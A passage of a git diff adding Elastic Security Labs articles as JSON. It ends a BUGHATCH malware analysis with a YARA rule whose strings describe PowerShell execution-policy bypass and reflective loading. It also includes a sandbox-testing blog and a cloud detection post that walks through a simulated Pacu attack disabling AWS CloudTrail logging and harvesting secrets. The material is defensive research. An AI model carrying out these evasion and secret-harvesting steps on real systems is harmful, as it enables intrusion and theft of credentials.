Control](https://attack.mitre.org/tactics/TA0011)\n- [Exfiltration](https://attack.mitre.org/tactics/TA0010)\n\n### Techniques / sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/)\n- [Encrypted Channel: Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002/)\n- [Encrypted Channel: Symmetric Cryptography](https://attack.mitre.org/techniques/T1573/001/)\n- [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n- [Automated Collection](https://attack.mitre.org/techniques/T1119/)\n- [Native API](https://attack.mitre.org/techniques/T1106/)\n\n## Detections\n\n### Detection rules\n\nThe following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.\n\n- [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html#enumeration-of-privileged-local-groups-membership)\n\n### YARA rule\n\nElastic Security has created a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to identify this activity.\n\n```\nrule Windows_Trojan_BUGHATCH {\n meta:\n author = “Elastic Security”\n creation_date = \"2022-05-09\"\n last_modified = \"2022-06-09\"\n license = “Elastic License v2”\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BUGHATCH\"\n threat_name = \"Windows.Trojan.BUGHATCH\"\n reference_sample = \"b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f\"\n\n strings:\n $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }\n $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }\n $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }\n $c1 = \"-windowstyle hidden -executionpolicy bypass -file\"\n $c2 = \"C:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n $c3 = \"ReflectiveLoader\"\n $c4 = \"\\\\Sysnative\\\\\"\n $c5 = \"TEMP%u.CMD\"\n $c6 = \"TEMP%u.PS1\"\n $c7 = \"\\\\TEMP%d.%s\"\n $c8 = \"NtSetContextThread\"\n $c9 = \"NtResumeThread\"\n\n condition:\n any of ($a*) or 6 of ($c*)\n}\n```\n" + }, + "title": "BUGHATCH Malware Analysis", + "slug": "bughatch-malware-analysis", + "subtitle": "Malware analysis of the BUGHATCH downloader.", + "date": "2022-09-09", + "description": "Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.", + "author": [ + { + "slug": "salim-bitam" + } + ], + "image": "libraries-edev-ops-1680x980.jpg", + "category": [ + { + "slug": "malware-analysis" + } + ], + "tags": [ + "bughatch", + "cuba", + "ref9019" + ] + }, + "id": "security_labs_content-bughatch_malware_analysis-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-callout_example-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-callout_example-md.json new file mode 100644 index 00000000000..e86e325e456 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-callout_example-md.json @@ -0,0 +1,24 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Callout example\"\nslug: \"callout-example\"\ndate: \"1883-1-1\"\ndescription: \"This is an article with callout examples.\"\nauthor:\n - slug: andrew-pease\nimage: \"../../security-labs-thumbnail.png\"\ncategory:\n - slug: reports\n---\n\n\n The content for the callout goes here. It can have **bold** or *italic* text,\n and can also include [links](https://www.elastic.co) if needed.\n\n\n\n The content for the callout goes here. It can have **bold** or *italic* text,\n and can also include [links](https://www.elastic.co) if needed.\n\n\n\n The content for the callout goes here. It can have **bold** or *italic* text,\n and can also include [links](https://www.elastic.co) if needed.\n\n\n\n The content for the callout goes here. It can have **bold** or *italic* text,\n and can also include [links](https://www.elastic.co) if needed.\n\n" + }, + "title": "Callout example", + "slug": "callout-example", + "date": "1883-1-1", + "description": "This is an article with callout examples.", + "author": [ + { + "slug": "andrew-pease" + } + ], + "image": "../../security-labs-thumbnail.png", + "category": [ + { + "slug": "reports" + } + ] + }, + "id": "security_labs_content-callout_example-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-click_click_boom_automating_protections_testing_with_detonate-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-click_click_boom_automating_protections_testing_with_detonate-md.json new file mode 100644 index 00000000000..9cacb4e5581 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-click_click_boom_automating_protections_testing_with_detonate-md.json @@ -0,0 +1,39 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Click, Click… Boom! Automating Protections Testing with Detonate\"\nslug: \"click-click-boom-automating-protections-testing-with-detonate\"\ndate: \"2023-05-04\"\ndescription: \"To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion.\"\nauthor:\n - slug: jessica-david\n - slug: hez-carty\n - slug: sergey-polzunov\nimage: \"blog-thumb-tools-various.jpg\"\ncategory:\n - slug: tools\n - slug: security-research\n - slug: detection-science\ntags:\n - detonate\n---\n\n## Preamble\n\nImagine you are an Endpoint artifact developer. After you put in the work to ensure protection against conventional shellcode injections or ransomware innovations, how do you know it actually works before you send it out into the world?\n\nFirst, you set up your end-to-end system, which involves setting up several services, the infrastructure, network configuration, and more. Then, you run some malware; the data you collect answers questions about performance and efficacy, and may be an important research resource in the future. After you spend a day testing and gathering your results, you may want to run several hundred hashes over multiple kinds of operating systems and machine types, a daunting task if done entirely manually.\n\nTo automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion. Our goal is to have it take security researchers only a couple of clicks to test our protections against malware. (Thus: click, click… boom!)\n\nIn this series of posts, we’ll: - Introduce Detonate and why we built it - Explore how Detonate works and the technical implementation details - Describe case studies on how our teams use it at Elastic - Discuss opening our efficacy testing to the community to help the world protect their data from attack\n\nInterested in other posts on Detonate? Check out [Part 2 - Into The Weeds: How We Run Detonate](https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate) where we break down how Detonate works and dive deeper into the technical implementation.\n\n## What is Detonate?\n\nAt a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. Detonate accepts a file hash (usually a SHA256) and performs the following actions:\n\n- Prepares all files needed for detonation, including the malicious file\n- Provisions a virtual machine (VM) instance in a sandboxed environment, with limited connectivity to the outside world\n- Waits until file execution completes; this happens when, for example, an execution result file is found or the VM instance is stopped or older than a task timeout\n- Stops the running VM instance (if necessary) and cleans up the sandboxed environment\n- Generates an event summary based on telemetry and alerts produced during detonation\n\nThe results of these detonations are made available to the team for research and development purposes. By post-processing the logs, events, and alerts collected during detonation, we can enrich them with third-party intelligence and other sources to evaluate the efficacy of new and existing Elastic Security protection features.\n\n## What does it help us with?\n\n### Measuring Efficacy\n\nTo build the best EPP on the market, we have to continuously measure the effectiveness of our product against the latest threats. Detonate is used to execute many tens of thousands of samples every month from our data feeds. Gaps in coverage are automatically identified and used to prioritize improvements to our protections.\n\n### Supporting existing protections\n\nMany of our protections have associated artifacts (such as machine learning models and rule definitions) which receive regular updates. These updates need testing to ensure we identify and remediate regressions before they end up in a user’s environment.\n\nDetonate provides a framework and suite of tools to automate the analysis involved in this testing process. By leveraging a corpus of hashes with known good and bad software, we can validate our protections before they are deployed to users.\n\n### Threat research\n\nSome of our security researchers scour the internet daily for new and emerging threats. By giving them an easy-to-use platform to test malicious software they find in the wild, we better understand how Elastic Security defends against those threats or if we need to update our protections.\n\n### Evaluating new protections\n\nIn addition to testing existing protections, new protections run the risk of adverse interactions with our existing suite of layered capabilities. A new protection may be easily tested on its own, but tests may hide unintended interactions or conflicts with existing protections. Detonate provides a way for us to customize the configuration of the Elastic Stack and individual protections to more easily find and identify such conflicts earlier in development.\n\n## What’s next?\n\nIn this publication, we introduced Detonate & what we use it for at Elastic. We discussed the benefits it provides our team when assessing the performance of our security artifacts.\n\nNow that you know what it is, we will break down how Detonate works. In our next post, we’ll dive deeper into the technical implementation of Detonate and how we’re able to create this sandboxed environment in practice.\n" + }, + "title": "Click, Click… Boom! Automating Protections Testing with Detonate", + "slug": "click-click-boom-automating-protections-testing-with-detonate", + "date": "2023-05-04", + "description": "To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion.", + "author": [ + { + "slug": "jessica-david" + }, + { + "slug": "hez-carty" + }, + { + "slug": "sergey-polzunov" + } + ], + "image": "blog-thumb-tools-various.jpg", + "category": [ + { + "slug": "tools" + }, + { + "slug": "security-research" + }, + { + "slug": "detection-science" + } + ], + "tags": [ + "detonate" + ] + }, + "id": "security_labs_content-click_click_boom_automating_protections_testing_with_detonate-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cloud_monitoring_and_detection_with_elastic_security-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cloud_monitoring_and_detection_with_elastic_security-md.json new file mode 100644 index 00000000000..b0ff29a2ddd --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cloud_monitoring_and_detection_with_elastic_security-md.json @@ -0,0 +1,26 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Security operations: Cloud monitoring and detection with Elastic Security\"\nslug: \"cloud-monitoring-and-detection-with-elastic-security\"\ndate: \"2022-11-30\"\ndescription: \"As companies migrate to cloud, so too do opportunist adversaries. That's why our Elastic Security team members have created free detection rules for protecting users' cloud platforms like AWS and Okta. Learn more in this blog post.\"\nauthor:\n - slug: brent-murphy\n - slug: david-french\n - slug: elastic-security-intelligence-analytics-team\nimage: \"blog-thumb-network-attack-map.jpg\"\ncategory:\n---\n\nAs many organizations have migrated their infrastructure, applications, and data to cloud offerings, adversaries have extended their operational capabilities in cloud environments to achieve their mission — whether that means stealing intellectual property, disrupting business operations, or holding an organization's data for ransom. In order to protect our users' data from attack, the Elastic Security Intelligence & Analytics Team researches and develops [rules](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) to detect attacker behavior in the cloud _and_ on the endpoint.\n\nIn this post, we'll discuss cloud monitoring and detection-related challenges security operations teams face, and why attacks against cloud environments are often successful. We will share details on our free cloud detection rules (including many new ones released in [Elastic Security 7.9](https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security)) and show how they can help [Elastic Security](https://www.elastic.co/security) users.\n\nWe'll also explain how Elastic can ingest logs from a wide variety of cloud platforms and how the Elastic Common Schema (ECS) makes searching, monitoring, and detection easy for defenders.\n\n## Cloud monitoring and detection challenges\n\nSecurity teams typically encounter one or more of the following challenges when they're asked to monitor, detect, and respond to threats in their organization's cloud environments:\n\n- **Resource constraints:** It can take a considerable amount of time to learn and understand cloud technologies and their ever-changing data sources. Many security operations teams do not have the resources to allocate to this ongoing effort.\n- **Understanding of adversary tradecraft:** Attacker behavior on well-known platforms such as Windows has been researched extensively and shared with the security community. Security teams may not have an in-depth understanding of how adversaries operate in cloud environments or the ability to provision a test environment to practice offensive and defensive techniques to protect their organization.\n- **Blind spots:** For effective monitoring and detection, the data available to security practitioners must be relevant, accurate, and timely. Cloud logs shipped to a SIEM can be used for detection and response as long as the security team can depend on the quality of the data.\n- **Data normalization:** Most cloud platforms have their own log categories and event schema. Normalizing logs into a common schema is not a trivial or one-off task. Some security teams, for example, have several different field names for a hostname across their data sources indexed in their SIEM. Without a normalized and documented schema, it can be difficult for analysts — especially less experienced ones — to write search queries and correlate events across data sources effectively.\n\n## Ingesting and searching cloud logs with Elastic\n\nElastic has a large collection of Filebeat [modules](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html) that can be used to simplify the collection, parsing, and visualization of many diverse log formats into a common schema — including cloud platforms such as [Amazon Web Services (AWS)](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-aws.html), [Azure](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-azure.html), [Okta](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html), and [Office 365](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-o365.html). Rapid development of new Filebeat modules is an ongoing process.\n\nThe [Elastic Common Schema](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) (ECS) defines a common set of fields for ingesting logs from a connected data source (e.g., AWS/Okta) into Elasticsearch. Log data is normalized into a format where the various field names can be used in queries to correlate behavior across data sources. This is useful to security and IT operations teams for a number of reasons.\n\nPractitioners and administrators do not need to spend countless hours transforming or normalizing their ingested logs so that the field names follow their own common schema. Managing a schema like this yourself is no small undertaking and is a continuous effort. Elastic manages ECS (saving users time and resources) so that security teams can rely on a common set of field names to search their data quickly and efficiently.\n\nEnd users can rely on using the same field names in their queries when searching across multiple data sources, which presents the following advantages:\n\n- Having a consistent schema for searching saves security analysts time and lowers the barrier to entry for new analysts. Analysts don't have to learn or remember all of the different field names and their purpose for each data source.\n- Analysts can correlate events across data sources such as endpoint, proxy, and firewall, which helps them ask questions of their data more efficiently and make sound decisions during an investigation, incident, or hunt.\n- It's easy for analysts to produce a timeline or build a visualization of the activity that occurred.\n\n## Detecting attackers operating in cloud environments\n\nThe Elastic Security Intelligence & Analytics Team's research into adversary tradecraft leads to new detection features like rules and machine learning jobs — capabilities that enable small security teams to have an outsized impact. Security features like these increase the cost of an attack for adversaries. Elastic Security users can expect to see a continued focus on increasing the cost of cloud attacks.\n\nIn the remainder of this blog post, we'll simulate attack techniques against AWS and Okta cloud environments. We'll review the alerts that are generated by the suspicious activity and how an analyst can perform initial triage and complete their investigation using Elastic Security. We will also demonstrate how analysts can add exceptions to detection rules in order to filter benign events and continue to alert on suspicious behavior.\n\n## Monitoring AWS CloudTrail logs to detect suspicious behavior\n\nAs organizations migrate to or provision new infrastructure in cloud platforms like AWS, they face the common challenges that we described earlier. Fortunately, Elastic Security has a [strong variety of AWS rules](https://github.com/elastic/detection-rules/tree/main/rules/aws), available for [free in 7.9](https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security) to detect suspicious behaviors in an AWS environment.\n\nThe Filebeat [module](https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-aws.html) for AWS helps you easily ship CloudTrail, Simple Storage Service (S3), Elastic Load Balancing (ELB), and virtual private cloud (VPC) flow logs to Elasticsearch for monitoring and detection in Elastic Security. Let's walk through an attack and defense scenario utilizing CloudTrail data. [CloudTrail](https://aws.amazon.com/cloudtrail/) provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS software development kits (SDKs), command line tools, and other AWS services. This event history can help simplify security detection, analysis, and investigations.\n\nMany attacks against AWS start with an attacker obtaining an access key and/or the secret access key details. These keys may be harvested in a variety of ways, including through phishing, a data breach, GitHub repositories, screenshots, error messages, snapshot data, or simply poor key management practices. By obtaining these keys, an attacker can take a variety of actions against your AWS infrastructure.\n\nLet's walk through one of the many potential attack scenarios that could play out. In the following example, the adversary enumerates the trails and monitoring capabilities that have been configured for the AWS account. They follow up on this activity by disabling a trail and a configuration recorder in an attempt to evade detections and then proceed to harvest secrets.\n\n### Simulating adversary behavior in AWS\n\nIn this demonstration, we'll use [Pacu](https://github.com/RhinoSecurityLabs/pacu) to perform our attack. Pacu is a popular framework for exploiting AWS infrastructure, developed and maintained by Rhino Security Labs. Pacu is modular, similar to other exploitation frameworks like Metasploit and Koadic, and enables attackers to exploit configuration flaws within an AWS account. Attackers can use Pacu to check if the required permissions are assigned to the compromised account before attempting to execute a module. This can be helpful from an attacker's perspective to not create unnecessary noise and logs, and draw additional attention from defenders by running modules that will ultimately fail.\n\nThe attacker begins by enumerating services using the detection\\_\\_enum_services module to determine what logging and monitoring services are enabled for the AWS account.\n\n![Figure 1 - Enumerating services using Pacu’s detection__enum_services module ](/assets/images/cloud-monitoring-and-detection-with-elastic-security/1-enumerating-services-blog-secops-cloud-platform-monitoring.jpg)\n\nThe attacker discovered eight trails, as well as ten configuration rules, a recorder, and a delivery channel. Essentially, the enumeration script is querying certain AWS API calls to list or describe relevant information about the environment. By reviewing the [code](https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/detection__enum_services/main.py) of the module, we can see the targeted APIs:\n\n```\nDescribeSubscription\nGetSubscriptionState\nDescribeTrails\nListDetectors\nDescribeConfigRules\nDescribeConfigurationRecorders\nDescribeConfigurationRecorderStatus\nDescribeDeliveryChannels\nDescribeDeliveryChannelStatus\nDescribeConfigurationAggregators\nDescribeAlarms\nDescribeFlowLogs\n```\n\nAfter the attacker determines which services are running, their next logical step may be to interrupt logging and monitoring by disabling a trail, alarm, detector, or recorder in an attempt to evade detection. To accomplish this objective, we'll use a different module called detection\\_\\_disruption to disable a trail called brentlog, and stop the configuration recorder named default.\n\n![Figure 2 - Disabling a trail and stopping a configuration recorder using Pacu’s detection__disruption module ](/assets/images/cloud-monitoring-and-detection-with-elastic-security/2-disabling-trail-blog-secops-cloud-platform-monitoring.jpg)\n\nAt this point, with trail logging suspended and the configuration recorder turned off from tracking changes to resources, the attacker may want to check if there are any credentials, API keys, or tokens available in [Secrets Manager](https://aws.amazon.com/about-aws/whats-new/2018/04/introducing-aws-secrets-manager/#:~:text=AWS%20Secrets%20Manager%20is%20a,other%20secrets%20throughout%20their%20lifecycle.) and if so, collect them. In this scenario, the attacker uses the enum_secrets module and finds one secret in the directory, /sessions/brent/downloads/secrets/secrets_manager. Harvesting these secrets could help the adversary achieve lateral movement and/or privilege escalation.\n\n![Figure 3 - Searching for AWS secrets using Pacu's enum__secrets module](/assets/images/cloud-monitoring-and-detection-with-elastic-security/3-searching-aws-blog-secops-cloud-platform-monitoring.jpg)\n\n![Figure 4 - Viewing the AWS secret after its discovery](/assets/images/cloud-monitoring-and-detection-with-elastic-security/4-viewing-aws-blog-secops-cloud-platform-monitoring.jpg)\n\nWe'll stop our fictitious attack scenario here, but if you're curious to learn what the attacker could do next, the following Google search will return some examples: intitle:\"AWS\" intext:(\"attack\" | \"breach\"). In the next section, we'll look at what this behavior looks like from a defender's perspective and how Elastic Security can be used to detect this behavior.\n\n### Detecting and investigating the suspicious behavior in AWS\n\nWhile monitoring the usage of the previously mentioned APIs, it can be difficult to distinguish benign activity from suspicious behavior, such as an attacker enumerating an environment. In production environments, monitoring for calls to these APIs can be noisy, as the behavior is quite common. To help find this rare and potentially suspicious behavior, and in addition to the AWS detection rules we have available, we've released [machine learning](https://github.com/elastic/detection-rules/tree/main/rules/ml) jobs in 7.9 specifically for AWS CloudTrail that help identify outliers, such as patterns of unusual activity that are hard to find using conventional detection rules.\n\nLooking at our detections page from the previous attack, we can see multiple alerts were triggered. Our free built-in detection rules identified the techniques of _suspending a trail_, _stopping a configuration recorder_, and _grabbing sensitive information from the secrets manager_. The other alerts are from the machine learning jobs of [_Unusual Country For an AWS Command_](https://www.elastic.co/guide/en/security/7.9/unusual-city-for-an-aws-command.html) and [_Unusual AWS Command for a User_](https://www.elastic.co/guide/en/security/master/unusual-aws-command-for-a-user.html) which identify a geolocation (country) that is unusual for the command or a user context that does not normally use the command.\n\n![Figure 5 - Viewing the detection alerts in Elastic Security](/assets/images/cloud-monitoring-and-detection-with-elastic-security/5-viewing-detection-alerts-blog-secops-cloud-platform-monitoring.jpg)\n\nIf we pivot into one of the machine learning alerts, we can see a description of what it detected, along with a built-in investigation guide to walk an analyst through a potential workflow when analyzing an unusual CloudTrail event.\n\n![Figure 6 - Viewing the details of a machine learning alert](/assets/images/cloud-monitoring-and-detection-with-elastic-security/6-machine-learning-alert-blog-secops-cloud-platform-monitoring.jpg)\n\n![Figure 7 - Viewing the investigation notes for an unusual CloudTrail event](/assets/images/cloud-monitoring-and-detection-with-elastic-security/7-viewing-investigation-notes-blog-secops-cloud-platform-monitoring.png)\n\nLet's also take a look at the details in the Timeline view from the [_AWS Configuration Recorder Stopped_](https://www.elastic.co/guide/en/security/master/aws-configuration-recorder-stopped.html) alert. The fields I'm particularly interested in are the API call, user agent string, user identity type, request parameters, and the raw text of the entire event.\n\n![Figure 8 - Analyzing the alert details in the Timeline](/assets/images/cloud-monitoring-and-detection-with-elastic-security/8-alert-details-timeline-blog-secops-cloud-platform-monitoring.png)\n\nBy analyzing the alert, we're able to quickly determine:\n\n| | |\n| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Field | Description |\n| event.action | Tells us the AWS API call that was made, StopConfigurationRecorder |\n| request_parameters | Gives us the details about what was sent in the request, in our case, the configuration recorder name, default |\n| user.name | Informs us as to who made the request, pacu |\n| user_identity.type | Contains details about the type of Identity and Access Management (IAM) identity. In our case, an IAMUser. Root is another user identity type we have built in rules for. |\n| user_agent | The value of the HTTP User-Agent header. User agent strings can be easily modified, but if an account typically uses the AWS Java SDK for their API calls, and it changes, then the detection of the anomalous user agent string can be a quick win. |\n| event.original | Gives us the raw alert details |\n\n_Table 1 - Analysis of alert fields_\n\nAfter analyzing the alert, we can start to piece together the events and look at what actions the user took just before our alerts fired (and afterwards as applicable). Again, we can spot the attackers enumeration here as well.\n\n![Figure 9 - Viewing event history for the user Pacu in the Timeline ](/assets/images/cloud-monitoring-and-detection-with-elastic-security/9-event-history-blog-secops-cloud-platform-monitoring.png)\n\nWe may also want to search our environment for specific API calls to see if they were invoked by other users or hosts, from different IPs, or at other time frames that would be suspicious in our environment.\n\n![Figure 10 - Viewing API call history for the StopConfigurationRecorder API in the Timeline ](/assets/images/cloud-monitoring-and-detection-with-elastic-security/10-api-history-blog-secops-cloud-platform-monitoring.png)\n\nWe can also create a visualization to look for the least common API calls in our environment and pivot from there. For AWS, the API calls are in the event.action field.\n\n![Figure 11 - Using a visualization to look for least common API calls in our environment ](/assets/images/cloud-monitoring-and-detection-with-elastic-security/11-visualization-api-calls-blog-secops-cloud-platform-monitoring.png)\n\nAs demonstrated, our free built-in rules for AWS can detect this activity as well as a number of other potential attack scenarios. We've opened up our [rules repository](https://github.com/elastic/detection-rules) and encourage you to have a look and learn how to [contribute](https://github.com/elastic/detection-rules#how-to-contribute) if interested.\n\n## Detecting suspicious behavior in Okta logs\n\n[Okta single sign-on (SSO)](https://www.okta.com/products/single-sign-on/) is a cloud solution that allows users to log into a variety of systems in their organization via a centralized process using a single user account. Informing end users that they only have to remember one username and password instead of ten or more reduces the risk that they'll adopt poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barriers to entry for attackers. Many attackers will simply move on to look for an easier target when they discover that MFA is enforced for their target's network or user account.\n\nWhile SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems that offer a type of skeleton key to many systems and applications are often an attractive target for attackers. For example, if an adversary manages to harvest an Okta administrator's credentials or API token, they could attempt to perform any of the actions in the non-exhaustive list below:\n\n- Modify or disable MFA policies for one or more applications in order to weaken their victim's security controls.\n- Create new user accounts or API tokens to maintain persistence in their target's environment and attempt to “blend in” and evade detection.\n- Modify, delete, or deactivate an Okta network zone to loosen the restrictions on which geolocation users or administrators can login from.\n- Delete or disable an application or other configuration to create a Denial-of-Service (DoS) condition and impact a company's business operations.\n\nTo enable security teams to monitor their Okta environment for suspicious activity, our [Okta Filebeat module](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html) can pull [Okta System Log](https://developer.okta.com/docs/reference/api/system-log/) events and ship them to Elasticsearch to be indexed. Okta's System Log records events related to an organization in order to provide an audit trail that can be used to understand platform activity. The Elastic Security Intelligence & Analytics Team has [free rules](https://github.com/elastic/detection-rules/tree/main/rules/okta) to detect suspicious activity in Okta logs and will continue adding more in future.\n\nIn the following example, imagine that an adversary has harvested an API token after gaining initial access to an organization's network. The API token has administrator privileges and the adversary executes some actions in their target's Oka environment:\n\n- Create a new user account and assign administrative permissions to it in order to maintain a presence in the target environment should the security team discover that the current API token is compromised\n- Deactivate a sign-on policy in order to weaken the target's security controls\n- Disable a network zone to enable attackers to authenticate from any geographical location during their intrusion\n\nThe Okta Filebeat module was configured to ship Okta System Log events to Elasticsearch and our Okta rules were activated in Elastic Security. The suspicious activity triggered three alerts shown in Figure 12 below.\n\n![Figure 12 - Okta alerts in Elastic Security generated by suspicious activity](/assets/images/cloud-monitoring-and-detection-with-elastic-security/12-okta-alerts-blog-secops-cloud-platform-monitoring.png)\n\nClicking on one of the alerts allows the analyst to review more information about the rule, including the description of the behavior that the rule detects, severity and risk scores, and the associated MITRE ATT&CK® tactic and technique. The analyst can scroll further down the page and begin to investigate the alert in Timeline.\n\nTo learn more how Elastic supports ATT&CK, see our presentation: [How to Plan and Execute a Hunt](https://youtu.be/2Hh5spqA6bw).\n\n![Figure 13 - Viewing a rule's information and settings](/assets/images/cloud-monitoring-and-detection-with-elastic-security/13-rule-information-blog-secops-cloud-platform-monitoring.png)\n\nSecurity practitioners know that every organization's network is different. Behavior that looks suspicious in one environment may be benign in another. To help security teams find the proverbial “signal in the noise,” users can add exceptions to their detection rules to filter benign events and continue to alert on suspicious events. Figure 14 shows an exception being added to an Okta rule.\n\n![Figure 14 - Adding an exception to a rule in Elastic Security](/assets/images/cloud-monitoring-and-detection-with-elastic-security/14-adding-exception-blog-secops-cloud-platform-monitoring.jpg)\n\nWe've also introduced the \"threshold\" rule type. Threshold rules aggregate query results and generate an alert when the number of matched events exceeds a certain threshold. The example rule below will generate an alert when 25 Okta user authentication failures occur from a single source IP address. This can be indicative of a brute force or password spraying attack.\n\n![Figure 15 - Reviewing a threshold rule configured to detect an Okta brute force attack](/assets/images/cloud-monitoring-and-detection-with-elastic-security/15-okta-brute-force-blog-secops-cloud-platform-monitoring.png)\n\nViewing an alert generated by a threshold rule in the Timeline allows an analyst to review the events that triggered the rule and begin their triage process or investigation.\n\n![Figure 16 - Reviewing an alert from a failed Okta authentication threshold rule in Timeline](/assets/images/cloud-monitoring-and-detection-with-elastic-security/16-reviewing-alert-blog-secops-cloud-platform-monitoring.png)\n\n## Conclusion\n\nAccording to Verizon's latest [Data Breach Investigations Report](https://enterprise.verizon.com/resources/reports/dbir/), cloud assets were involved in 24% of the report's 3,950 data breaches reviewed last year. As organizations continue to migrate their data and business operations to the cloud, we can expect this number to increase.\n\nIn this blog post, we discussed some of the challenges that security teams face when attempting to monitor for, detect, and investigate suspicious behavior in their organization's cloud environments. We walked through some practical examples on how attackers operate in cloud environments and how Elastic Security can detect those techniques.\n\nThe Elastic Security Intelligence & Analytics Team researches adversary tradecraft and develops new detection rules and machine learning jobs for multiple platforms including cloud. Our users can expect to see our continued focus on increasing the cost of cloud attacks.\n\nConfiguring our [Filebeat modules](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html) to ship logs to Elasticsearch and enable detection rules in Elastic Security is easy. Our [free detection rules](https://github.com/elastic/detection-rules) help security teams monitor those logs and detect suspicious behavior, regardless of the size of their team. Elastic Security enables analysts to triage and investigate those alerts quickly and efficiently.\n\nIf you're interested in learning more about Elastic Security, you can [download it for free](https://www.elastic.co/security) or sign up for a free 14-day trial of [Elastic Cloud](https://www.elastic.co/cloud/).\n" + }, + "title": "Security operations: Cloud monitoring and detection with Elastic Security", + "slug": "cloud-monitoring-and-detection-with-elastic-security", + "date": "2022-11-30", + "description": "As companies migrate to cloud, so too do opportunist adversaries. That's why our Elastic Security team members have created free detection rules for protecting users' cloud platforms like AWS and Okta. Learn more in this blog post.", + "author": [ + { + "slug": "brent-murphy" + }, + { + "slug": "david-french" + }, + { + "slug": "elastic-security-intelligence-analytics-team" + } + ], + "image": "blog-thumb-network-attack-map.jpg", + "category": null + }, + "id": "security_labs_content-cloud_monitoring_and_detection_with_elastic_security-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cobalt_strike_beacon_extractor-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cobalt_strike_beacon_extractor-md.json new file mode 100644 index 00000000000..abf4c519743 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-cobalt_strike_beacon_extractor-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Cobalt Strike Beacon Extractor\"\nslug: \"cobalt-strike-beacon-extractor\"\ndate: \"2022-12-06\"\ndescription: \"Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.\"\nauthor:\n - slug: elastic-security-labs\nimage: \"tools-image.jpg\"\ncategory:\n - slug: tools\ntags:\n - cobaltstrike\n---\n\nPython script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.\n\n[Download cobalt-strike-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdbc4f9f2366d2f06/628829603b9b8554904a4ba2/cobalt-strike-extractor.tar.gz)\n\n## Overview\n\nThis tool provides a Python module and command line tool that will search Elastic Endpoint alert data for detections of Cobalt Strike and the extracted memory data. When present, this tool will extract the implant configuration using the [cobaltstrike-config-extractor](https://github.com/strozfriedberg/cobaltstrike-config-extractor). The information is then normalized into an ECS-formatted JSON document and indexed into an 